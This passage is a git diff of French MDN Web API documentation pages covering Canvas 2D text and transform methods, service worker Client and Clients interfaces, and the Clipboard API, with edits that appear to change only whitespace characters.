a/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.md b/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.md index d43cb1f77a..b543074551 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/textBaseline --- {{APIRef}} -La propriété **`CanvasRenderingContext2D.textBaseline`** de l'API Canvas 2D spécifie la ligne de base de texte à utiliser lors du dessin d'un texte. +La propriété **`CanvasRenderingContext2D.textBaseline`** de l'API Canvas 2D spécifie la ligne de base de texte à utiliser lors du dessin d'un texte. ## Syntaxe @@ -20,21 +20,21 @@ Valeurs possibles : - hanging - : La ligne de base du texte est la ligne de base supérieure. - middle - - : La ligne de base du texte est le milieu du cadratin. + - : La ligne de base du texte est le milieu du cadratin. - alphabetic - - : La ligne de base du texte est la ligne de base normale alphabétique. + - : La ligne de base du texte est la ligne de base normale alphabétique. - ideographic - - : La ligne de base du texte est la ligne de base idéographique ; c'est le bas du corps des caractères, si le corps principal des caractères fait saillie en dessous de la ligne de base alphabétique. + - : La ligne de base du texte est la ligne de base idéographique ; c'est le bas du corps des caractères, si le corps principal des caractères fait saillie en dessous de la ligne de base alphabétique. - bottom - - : La ligne de base du texte est le bas du cadre. Cela diffère de ligne de base idéographique en ce que la ligne de base idéographique ne prend pas en considération les jambages. + - : La ligne de base du texte est le bas du cadre. Cela diffère de ligne de base idéographique en ce que la ligne de base idéographique ne prend pas en considération les jambages. -La valeur par défaut est `alphabetic`. +La valeur par défaut est `alphabetic`. ## Exemples ### Utilisation de la propritété `textBaseline` -Ceci est seulement un fragment de code simple utilisant la propriété `textBaseline` pour définir un réglage différent de ligne de base de texte. +Ceci est seulement un fragment de code simple utilisant la propriété `textBaseline` pour définir un réglage différent de ligne de base de texte. #### HTML @@ -53,15 +53,15 @@ ctx.textBaseline = 'hanging'; ctx.strokeText('Hello world', 0, 100); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = '48px serif'; @@ -101,7 +101,7 @@ window.addEventListener('load', drawCanvas); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/transform/index.md b/files/fr/web/api/canvasrenderingcontext2d/transform/index.md index e3ac8f2edd..d3be535ddd 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/transform/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/transform/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/CanvasRenderingContext2D/transform --- {{APIRef}} -La méthode **CanvasRenderingContext2D.transform ()** de l'API Canvas 2D multiplie la matrice de transformation courante par la matrice décrite par les arguments de cette méthode. Vous pouvez mettre à l'échelle, faire pivoter, déplacer et incliner le contexte. +La méthode **CanvasRenderingContext2D.transform ()** de l'API Canvas 2D multiplie la matrice de transformation courante par la matrice décrite par les arguments de cette méthode. Vous pouvez mettre à l'échelle, faire pivoter, déplacer et incliner le contexte. -Voir aussi la méthode {{domxref ("CanvasRenderingContext2D.setTransform()", "setTransform()")}} qui réinitialise la transformation courante à la matrice identité puis invoque `transform()`. +Voir aussi la méthode {{domxref ("CanvasRenderingContext2D.setTransform()", "setTransform()")}} qui réinitialise la transformation courante à la matrice identité puis invoque `transform()`. ## Syntaxe @@ -34,7 +34,7 @@ La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</mo ### Utilisation de la méthode `transform` -Ceci est seulement un fragment de code simple utilisant la méthode `transform`. +Ceci est seulement un fragment de code simple utilisant la méthode `transform`. #### HTML @@ -59,8 +59,8 @@ Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct d ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.transform(1,1,0,1,0,0); @@ -102,7 +102,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-transform", "CanvasRenderingContext2D.transform")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-transform", "CanvasRenderingContext2D.transform")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/translate/index.md b/files/fr/web/api/canvasrenderingcontext2d/translate/index.md index 2c38c52591..cdbe0ad12b 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/translate/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/translate/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/translate --- {{APIRef}} -La méthode **CanvasRenderingContext2D.translate()** de l'API Canvas 2D ajoute une transformation de translation en déplaçant le canevas et son origine x horizontalement et y verticalement sur la grille. +La méthode **CanvasRenderingContext2D.translate()** de l'API Canvas 2D ajoute une transformation de translation en déplaçant le canevas et son origine x horizontalement et y verticalement sur la grille. ## Syntaxe @@ -16,15 +16,15 @@ La méthode **CanvasRenderingContext2D.translate()** de l'API Canvas 2D ajoute u ### Paramètres - `x` - - : Distance de déplacement dans le sens horizontal. + - : Distance de déplacement dans le sens horizontal. - y - - : Distance de déplacement dans le sens vertical. + - : Distance de déplacement dans le sens vertical. ## Exemples ### Utilisation de la méthode `translate` -Il s'agit seulement d'un extrait de code simple qui utilise la méthode translate. +Il s'agit seulement d'un extrait de code simple qui utilise la méthode translate. #### HTML @@ -45,15 +45,15 @@ ctx.fillRect(0, 0, 100, 100); ctx.setTransform(1, 0, 0, 1, 0, 0); ``` -Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct sur le canevas : +Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct sur le canevas : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.translate(50, 50); @@ -93,7 +93,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-translate", "CanvasRenderingContext2D.translate")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-translate", "CanvasRenderingContext2D.translate")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/clearinterval/index.md b/files/fr/web/api/clearinterval/index.md index 08aeb26bbd..36c2c355e8 100644 --- a/files/fr/web/api/clearinterval/index.md +++ b/files/fr/web/api/clearinterval/index.md @@ -38,7 +38,7 @@ Voir [l'exemple `setInterval()`](/fr/docs/Web/API/WindowTimers/setInterval#Exemp | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------------------------------------------------------------ | | {{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}} | {{Spec2("HTML WHATWG")}} | Cette méthode a été déplacée sur le _mixin_ `WindowOrWorkerGlobalScope`. | -| {{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/client/frametype/index.md b/files/fr/web/api/client/frametype/index.md index acba1e7eac..f94cc4b75e 100644 --- a/files/fr/web/api/client/frametype/index.md +++ b/files/fr/web/api/client/frametype/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/Client/frameType --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La propriété **`frameType`** (accessible en lecture seule) de l'interface {{domxref("Client")}} indique le type de contexte de navigation du {{domxref("Client")}} courant. Cette valeur peut être `auxiliary`, `top-level`, `nested`, ou `none`. +La propriété **`frameType`** (accessible en lecture seule) de l'interface {{domxref("Client")}} indique le type de contexte de navigation du {{domxref("Client")}} courant. Cette valeur peut être `auxiliary`, `top-level`, `nested`, ou `none`. ## Syntaxe diff --git a/files/fr/web/api/client/id/index.md b/files/fr/web/api/client/id/index.md index e38a2fb262..26e53d0cc2 100644 --- a/files/fr/web/api/client/id/index.md +++ b/files/fr/web/api/client/id/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/Client/id --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La propriété **`id`** (lecture seule) de l'interface {{domxref("Client")}} retourne l'identifiant universellement unique de l'objet {{domxref("Client")}}. +La propriété **`id`** (lecture seule) de l'interface {{domxref("Client")}} retourne l'identifiant universellement unique de l'objet {{domxref("Client")}}. ## Syntaxe diff --git a/files/fr/web/api/client/index.md b/files/fr/web/api/client/index.md index 1727a3bf41..60c965036e 100644 --- a/files/fr/web/api/client/index.md +++ b/files/fr/web/api/client/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Client --- {{APIRef("Service Workers API")}} -L'interface `Client` de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorker_API) représente la portée d'exécution d'un {{domxref("Worker")}} ou {{domxref("SharedWorker")}}. Les clients {{domxref("Window")}} sont représentés par le plus spécifique {{domxref("WindowClient")}}. Vous pouvez obtenir les objets `Client`/`WindowClient` via les méthodes {{domxref("Clients.matchAll","Clients.matchAll()")}} et {{domxref("Clients.get","Clients.get()")}}. +L'interface `Client` de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorker_API) représente la portée d'exécution d'un {{domxref("Worker")}} ou {{domxref("SharedWorker")}}. Les clients {{domxref("Window")}} sont représentés par le plus spécifique {{domxref("WindowClient")}}. Vous pouvez obtenir les objets `Client`/`WindowClient` via les méthodes {{domxref("Clients.matchAll","Clients.matchAll()")}} et {{domxref("Clients.get","Clients.get()")}}. ## Méthodes @@ -27,15 +27,15 @@ L'interface `Client` de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorke - {{domxref("Client.id")}} {{readonlyInline}} - : Retourne l'identifiant universellement unique de l'objet `Client`. - {{domxref("Client.type")}} {{readonlyInline}} - - : Indique le type de contexte de navigation du client courant. Cette valeur peut être `auxiliary`, `top-level`, `nested`, or `none`. + - : Indique le type de contexte de navigation du client courant. Cette valeur peut être `auxiliary`, `top-level`, `nested`, or `none`. - {{domxref("Client.url")}} {{readonlyInline}} - : Retourne l'URL du client service worker courant. ## Exemples -Ce code est basé sur un fragment pris d'un [exemple d'envoi de message](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/post-message/index.html) (voir [l'exemple en ligne](https://googlechrome.github.io/samples/service-worker/post-message/).) Ce code envoie une référence de message à laquelle le service worker peut répondre via {{domxref("Client.postMessage()")}}. +Ce code est basé sur un fragment pris d'un [exemple d'envoi de message](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/post-message/index.html) (voir [l'exemple en ligne](https://googlechrome.github.io/samples/service-worker/post-message/).) Ce code envoie une référence de message à laquelle le service worker peut répondre via {{domxref("Client.postMessage()")}}. -Ce message est contenu dans une promesse qui est résolue si la réponse ne contient pas d'erreur et est rejetée avec une erreur. +Ce message est contenu dans une promesse qui est résolue si la réponse ne contient pas d'erreur et est rejetée avec une erreur. ```js // client service worker (par exemple un document) @@ -70,7 +70,7 @@ self.addEventListener("message", function(e) { - [Utiliser les Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) - [Exemple simple de service workers](https://github.com/mdn/sw-test) -- [Est ce que le ServiceWorker est prêt ?](https://jakearchibald.github.io/isserviceworkerready/) +- [Est ce que le ServiceWorker est prêt ?](https://jakearchibald.github.io/isserviceworkerready/) - [Promesses](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) -- [Utilisation performante des web workers](/en-US/docs/Web/Guide/Performance/Using_web_workers) +- [Utilisation performante des web workers](/en-US/docs/Web/Guide/Performance/Using_web_workers) - [Channel Messaging API](/en-US/docs/Web/API/Channel_Messaging_API) diff --git a/files/fr/web/api/client/postmessage/index.md b/files/fr/web/api/client/postmessage/index.md index 12d36698bc..a2c108cd16 100644 --- a/files/fr/web/api/client/postmessage/index.md +++ b/files/fr/web/api/client/postmessage/index.md @@ -34,7 +34,7 @@ Void. ## Exemples -Ce fragment de code est tiré de l'[exemple d'envoi de message du service worker](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/post-message/index.html) exemple d'envoi de message du service worker (voir [exemple en ligne](https://googlechrome.github.io/samples/service-worker/post-message/)). Le code envoi un message et transfert le port vers le service worker qui pourra répondre via {{domxref("Client.postMessage()")}}. +Ce fragment de code est tiré de l'[exemple d'envoi de message du service worker](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/post-message/index.html) exemple d'envoi de message du service worker (voir [exemple en ligne](https://googlechrome.github.io/samples/service-worker/post-message/)). Le code envoi un message et transfert le port vers le service worker qui pourra répondre via {{domxref("Client.postMessage()")}}. Ce message est contenu dans une promesse qui se résolvera si la réponse ne contient pas d'erreur et qui échouera avec l'erreur. diff --git a/files/fr/web/api/client/url/index.md b/files/fr/web/api/client/url/index.md index 7b40c93b14..c9369370e2 100644 --- a/files/fr/web/api/client/url/index.md +++ b/files/fr/web/api/client/url/index.md @@ -11,7 +11,7 @@ tags: - URL translation_of: Web/API/Client/url --- -{{SeeCompatTable}}{{APIRef("Service Workers API")}}La propriété **`url`** (lecture seule) de l'interface {{domxref("Client")}} retourne l'url du service worker client courant. +{{SeeCompatTable}}{{APIRef("Service Workers API")}}La propriété **`url`** (lecture seule) de l'interface {{domxref("Client")}} retourne l'url du service worker client courant. ## Syntaxe @@ -30,8 +30,8 @@ self.addEventListener('notificationclick', function(event) { console.log('Au click de notification : ', event.notification.tag); event.notification.close(); - // Vérification pour savoir si l'évenement est ouvert et - // se focalise dessus si c'est le cas + // Vérification pour savoir si l'évenement est ouvert et + // se focalise dessus si c'est le cas event.waitUntil(clients.matchAll({ type: "window" }).then(function(clientList) { diff --git a/files/fr/web/api/clients/claim/index.md b/files/fr/web/api/clients/claim/index.md index e392a459aa..66c66036ad 100644 --- a/files/fr/web/api/clients/claim/index.md +++ b/files/fr/web/api/clients/claim/index.md @@ -12,9 +12,9 @@ translation_of: Web/API/Clients/claim --- {{SeeCompatTable}}{{APIRef("Service Worker Clients")}} -La méthode **`claim()`** de l'interface {{domxref("Clients")}} permet à un service worker actif de se définir comme service worker actif de la page client quand le worker et la page sont dans le même scope. Ceci déclenche un évènement {{domxref("ServiceWorkerContainer.oncontrollerchange","oncontrollerchange")}} dans toutes les pages dans la portée du service worker. +La méthode **`claim()`** de l'interface {{domxref("Clients")}} permet à un service worker actif de se définir comme service worker actif de la page client quand le worker et la page sont dans le même scope. Ceci déclenche un évènement {{domxref("ServiceWorkerContainer.oncontrollerchange","oncontrollerchange")}} dans toutes les pages dans la portée du service worker. -Cette méthode peut être utilisée avec {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} pour s'assurer que la mise à jour du service worker sous jacent prend effet immédiatement pour et le client courant et tous les autres clients actifs. +Cette méthode peut être utilisée avec {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} pour s'assurer que la mise à jour du service worker sous jacent prend effet immédiatement pour et le client courant et tous les autres clients actifs. ## Syntaxe @@ -30,18 +30,18 @@ None. ### Valeur de retour -Une `Promise.` +Une `Promise.` ## Exemple -L'exemple suivant utilise `claim()` dans le gestionnaire d'évènement `onActivate` d'un service worker. Donc la page client chargée dans la même portée n'a pas besoin d'être rechargée avant de pouvoir utiliser le service worker. +L'exemple suivant utilise `claim()` dans le gestionnaire d'évènement `onActivate` d'un service worker. Donc la page client chargée dans la même portée n'a pas besoin d'être rechargée avant de pouvoir utiliser le service worker. ```js self.addEventListener('install', function(event) { - event.waitUntil(self.skipWaiting()); + event.waitUntil(self.skipWaiting()); }); self.addEventListener('activate', function(event) { - event.waitUntil(self.clients.claim()); + event.waitUntil(self.clients.claim()); }); ``` @@ -49,7 +49,7 @@ self.addEventListener('activate', function(event) { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------ | ------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName('Service Workers', '#clients', 'Clients')}} | {{Spec2('Service Workers')}} | Définition initiale. Toujours en cours de développement (voir [ticket 414](https://github.com/slightlyoff/ServiceWorker/issues/414) et [ticket 423](https://github.com/slightlyoff/ServiceWorker/issues/423)). | +| {{SpecName('Service Workers', '#clients', 'Clients')}} | {{Spec2('Service Workers')}} | Définition initiale. Toujours en cours de développement (voir [ticket 414](https://github.com/slightlyoff/ServiceWorker/issues/414) et [ticket 423](https://github.com/slightlyoff/ServiceWorker/issues/423)). | ## Compatibilité de navigateurs @@ -57,9 +57,9 @@ self.addEventListener('activate', function(event) { ## À voir aussi -- [Utiliser les Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) +- [Utiliser les Service Workers](/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers) - [Example simple de service workers](https://github.com/mdn/sw-test) -- [Est-ce que les ServiceWorker sont prêt?](https://jakearchibald.github.io/isserviceworkerready/) +- [Est-ce que les ServiceWorker sont prêt?](https://jakearchibald.github.io/isserviceworkerready/) - {{jsxref("Promise")}} -- [Utilisation optimisée des web workers](/en-US/docs/Web/Guide/Performance/Using_web_workers) +- [Utilisation optimisée des web workers](/en-US/docs/Web/Guide/Performance/Using_web_workers) - {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} diff --git a/files/fr/web/api/clients/get/index.md b/files/fr/web/api/clients/get/index.md index 24de95f0eb..29bcc963fb 100644 --- a/files/fr/web/api/clients/get/index.md +++ b/files/fr/web/api/clients/get/index.md @@ -10,7 +10,7 @@ tags: - get translation_of: Web/API/Clients/get --- -{{SeeCompatTable}}{{APIRef("Service Workers API")}}La méthode **`get()`** de l'interface {{domxref("Clients")}} récupère un service worker client correspondant à un id donné et le retourne dans une {{jsxref("Promise")}}. +{{SeeCompatTable}}{{APIRef("Service Workers API")}}La méthode **`get()`** de l'interface {{domxref("Clients")}} récupère un service worker client correspondant à un id donné et le retourne dans une {{jsxref("Promise")}}. ## Syntaxe @@ -27,7 +27,7 @@ self.clients.get(id).then(function(client) { ### Valeur de retour -Une [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui se résoud avec un objet {{domxref("Client")}}. +Une [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui se résoud avec un objet {{domxref("Client")}}. ## Exemples diff --git a/files/fr/web/api/clients/matchall/index.md b/files/fr/web/api/clients/matchall/index.md index 992754486c..8ff6d7c4b2 100644 --- a/files/fr/web/api/clients/matchall/index.md +++ b/files/fr/web/api/clients/matchall/index.md @@ -10,7 +10,7 @@ tags: - Service Workers translation_of: Web/API/Clients/matchAll --- -{{SeeCompatTable}}{{APIRef("Service Workers API")}}La méthode **`matchAll()`** de l'interface {{domxref("Clients")}} retourne une [`Promesse`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) pour une liste de service worker clients. Inclure le paramètre `options` permet de retourner tous les services worker clients dont l'origine est la même que l'origine du service worker associé. Si `options` n'est pas inclus, la méthode retourne que le service worker client controllé par le service worker. +{{SeeCompatTable}}{{APIRef("Service Workers API")}}La méthode **`matchAll()`** de l'interface {{domxref("Clients")}} retourne une [`Promesse`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) pour une liste de service worker clients. Inclure le paramètre `options` permet de retourner tous les services worker clients dont l'origine est la même que l'origine du service worker associé. Si `options` n'est pas inclus, la méthode retourne que le service worker client controllé par le service worker. ## Syntaxe @@ -24,14 +24,14 @@ ServiceWorkerClients.matchAll(options).then(function(clients) { - `options` - - : L'objet `option` vous permet de définir les options pour l'opération. Les options disponibles sont : + - : L'objet `option` vous permet de définir les options pour l'opération. Les options disponibles sont : - `includeUncontrolled`: Un {{domxref("Boolean")}} — défini à `true`, l'opération retournera tous les services worker clients qui sont de la même origine que le service worker courant. Sinon, elle ne retournera que le service worker client controllé par le service worker courant. La valeur par défaut est `false`. - - `type`: Défini le type de client que vous voulez observer. Les types disponibles sont `window`, `worker`, `sharedworker`, et `all`. La valeur par défaut est `all`. + - `type`: Défini le type de client que vous voulez observer. Les types disponibles sont `window`, `worker`, `sharedworker`, et `all`. La valeur par défaut est `all`. ### Valeur de retour -Une [`Promesse`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui se résout avec un tableau d'objets {{domxref("Client")}}. +Une [`Promesse`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui se résout avec un tableau d'objets {{domxref("Client")}}. ## Exemples diff --git a/files/fr/web/api/clients/openwindow/index.md b/files/fr/web/api/clients/openwindow/index.md index c991c6653c..1d678620b0 100644 --- a/files/fr/web/api/clients/openwindow/index.md +++ b/files/fr/web/api/clients/openwindow/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Clients/openWindow --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La méthode **`openWindow()`** de l'interface {{domxref("Clients")}} crée un nouveau niveau de contexte de navigation et charge une URL donnée. Si le script d'origine n'a pas la permission d'ouvrir une popup, **`openWindow()`** lèvera une InvalidAccessError. +La méthode **`openWindow()`** de l'interface {{domxref("Clients")}} crée un nouveau niveau de contexte de navigation et charge une URL donnée. Si le script d'origine n'a pas la permission d'ouvrir une popup, **`openWindow()`** lèvera une InvalidAccessError. Dans Firefox, une méthode est authorisée d'ouvrir une popup seulement lorsqu'elle est appelée à la suite d'un click sur une notification. @@ -20,11 +20,11 @@ ServiceWorkerClients.openWindow(url).then(function(WindowClient) { ### Paramètres - `url` - - : Une {{domxref("USVString")}} représentant l'URL que le client veut ouvrir dans une nouvelle fenêtre. Généralement, cette valeur doit être une URL de la même origine que le script d'origine. + - : Une {{domxref("USVString")}} représentant l'URL que le client veut ouvrir dans une nouvelle fenêtre. Généralement, cette valeur doit être une URL de la même origine que le script d'origine. ### Valeur de retour -Une {{jsxref("Promise")}} qui résoud un objet {{domxref("WindowClient")}} si l'URL est de la même origine que le service worker, et {{Glossary("null", "null value")}} sinon. +Une {{jsxref("Promise")}} qui résoud un objet {{domxref("WindowClient")}} si l'URL est de la même origine que le service worker, et {{Glossary("null", "null value")}} sinon. ## Exemples @@ -36,7 +36,7 @@ onotificationclick = function(event) { clients.matchAll().then(function(clients) { for (i = 0; i < clients.length; i++) { if (clients[i].url === event.data.url) { - // La fenêtre existe, focus dessus. + // La fenêtre existe, focus dessus. found = true; clients[i].focus(); break; diff --git a/files/fr/web/api/clipboard/index.md b/files/fr/web/api/clipboard/index.md index b9ca3fca06..4a898b989f 100644 --- a/files/fr/web/api/clipboard/index.md +++ b/files/fr/web/api/clipboard/index.md @@ -15,11 +15,11 @@ translation_of: Web/API/Clipboard --- {{APIRef("Clipboard API")}} -> **Note :** Le **presse-papiers** est un tampon de données utilisé pour le stockage ou le transfert à court terme de données, éventuellement entre documents ou applications. Il est généralement mis en œuvre sous la forme d’une {{interwiki("wikipedia", "Mémoire_tampon", "mémoire tampon")}} temporaire, parfois appelée « tampon de collage », qui peut être accédé par la plupart ou tous les programmes de l’environnement via des {{interwiki("wikipedia", "Interface_de_programmation", "interfaces de programmation")}} définies. +> **Note :** Le **presse-papiers** est un tampon de données utilisé pour le stockage ou le transfert à court terme de données, éventuellement entre documents ou applications. Il est généralement mis en œuvre sous la forme d’une {{interwiki("wikipedia", "Mémoire_tampon", "mémoire tampon")}} temporaire, parfois appelée « tampon de collage », qui peut être accédé par la plupart ou tous les programmes de l’environnement via des {{interwiki("wikipedia", "Interface_de_programmation", "interfaces de programmation")}} définies. > > Une application typique accède aux fonctionnalités du presse-papiers en associant des {{interwiki("wikipedia", "Entr%C3%A9es-sorties", "entrées utilisateur")}} telles que des {{interwiki("wikipedia", "Raccourci_clavier", "raccourcis clavier")}}, des éléments de {{interwiki("wikipedia", "Menu_(informatique)", "menus")}}, etc. à ces interfaces. -L’interface **`Clipboard`** implémente l’[API clipboard](/en-US/docs/Web/API/Clipboard_API), qui fournit — si l’utilisateur ou l’utilisatrice accorde sa permission — un accès en lecture et en écriture au contenu du presse-papiers du système. L’API clipboard peut être utilisée pour implémenter les fonctionnalités couper, copier et coller dans une application web. +L’interface **`Clipboard`** implémente l’[API clipboard](/en-US/docs/Web/API/Clipboard_API), qui fournit — si l’utilisateur ou l’utilisatrice accorde sa permission — un accès en lecture et en écriture au contenu du presse-papiers du système. L’API clipboard peut être utilisée pour implémenter les fonctionnalités couper, copier et coller dans une application web. Le presse-papiers du système est exposé via la propriété globale {{domxref("Navigator.clipboard")}}. @@ -27,7 +27,7 @@ Les appels aux méthodes de l’objet `Clipboard` échoueront si l’utilisateur > **Note :** En réalité, actuellement, les prérequis des navigateurs pour accéder au presse-papiers varient significativement. Veuillez consulter la section {{anch("Clipboard availability")}} pour plus de détails. -Toutes les méthodes de l’API clipboard fonctionnent de manière asynchrone ; elles renvoient une {{jsxref("Promise")}} qui est résolue une fois que l’accès au presse-papiers a réussi. La promesse est rejetée si l’accès au presse-papiers est refusé. +Toutes les méthodes de l’API clipboard fonctionnent de manière asynchrone ; elles renvoient une {{jsxref("Promise")}} qui est résolue une fois que l’accès au presse-papiers a réussi. La promesse est rejetée si l’accès au presse-papiers est refusé. ## Méthodes @@ -36,7 +36,7 @@ _`Clipboard` est basé sur l’interface {{domxref("EventTarget")}}, et inclut l - {{domxref("Clipboard.read()","read()")}} - : Demande des données arbitraires (telles que des images) depuis le presse-papiers, et renvoie une {{jsxref("Promise")}}. Quand les données ont été obtenues, la promesse est résolue avec un objet {{domxref("DataTransfer")}} qui fournit les données. - {{domxref("Clipboard.readText()","readText()")}} - - : Demande du texte depuis le presse-papiers du système ; renvoie une `Promise` qui est résolue avec une {{domxref("DOMString")}} contenant le texte du presse-papiers une fois disponible. + - : Demande du texte depuis le presse-papiers du système ; renvoie une `Promise` qui est résolue avec une {{domxref("DOMString")}} contenant le texte du presse-papiers une fois disponible. - {{domxref("Clipboard.write()","write()")}} - : Écrit des données arbitraires dans le presse-papiers du système. Cette opération asynchrone signale quand elle a terminé en résolvant la `Promise` renvoyée. - {{domxref("Clipboard.writeText()","writeText()")}} diff --git a/files/fr/web/api/clipboard/write/index.md b/files/fr/web/api/clipboard/write/index.md index 955bf1f320..1989de8383 100644 --- a/files/fr/web/api/clipboard/write/index.md +++ b/files/fr/web/api/clipboard/write/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/Clipboard/write --- {{APIRef("Clipboard API")}} -La methode **`write()`** de {{domxref("Clipboard")}} écrie des données arbitraire, comme des images, vers le presse-papier. Elle peut être utilisé pour implémenter une fonctionalité de copier coller. +La methode **`write()`** de {{domxref("Clipboard")}} écrie des données arbitraire, comme des images, vers le presse-papier. Elle peut être utilisé pour implémenter une fonctionalité de copier coller. -Avant de pouvoir écrire dans le presse-papier, vous devez utiliser [Permissions API](/en-US/docs/Web/API/Permissions_API) pour avoir l'autorisation `"clipboard-write"`. +Avant de pouvoir écrire dans le presse-papier, vous devez utiliser [Permissions API](/en-US/docs/Web/API/Permissions_API) pour avoir l'autorisation `"clipboard-write"`. > **Note :** Browser support for the asynchronous clipboard APIs is still in the process of being implemented. Be sure to check the {{anch("Browser compatibility", "compatibility table")}} as well as {{SectionOnPage("/en-US/docs/Web/API/Clipboard", "Clipboard availability")}} for more information. @@ -18,15 +18,15 @@ Avant de pouvoir écrire dans le presse-papier, vous devez utiliser [Permission ### Paramètres - `dataTransfer` - - : Un objet {{domxref("DataTransfer")}} contenant les données à écrire dans le presse-papier. + - : Un objet {{domxref("DataTransfer")}} contenant les données à écrire dans le presse-papier. ### Return value -Une {{jsxref("Promise")}} qui sera résolut quand les données seront écrite dans le presse papier. Cette promesse est rejetée si l'accés au presse-papier échoue. +Une {{jsxref("Promise")}} qui sera résolut quand les données seront écrite dans le presse papier. Cette promesse est rejetée si l'accés au presse-papier échoue. ## Exemple -Cette fonction d'exemple remplace l'actuel contenut du presse-papier par le texte spécifié en paramètre. +Cette fonction d'exemple remplace l'actuel contenut du presse-papier par le texte spécifié en paramètre. ```js function setClipboard(text) { @@ -41,7 +41,7 @@ function setClipboard(text) { } ``` -Le code commence par la creation d'un nouveau objet {{domxref("DataTransfer")}} dans lequel le texte est placé pour être envoyé au presse-papier. {{domxref("DataTransferItemList.add()")}} est appelé pour ajouté le texte 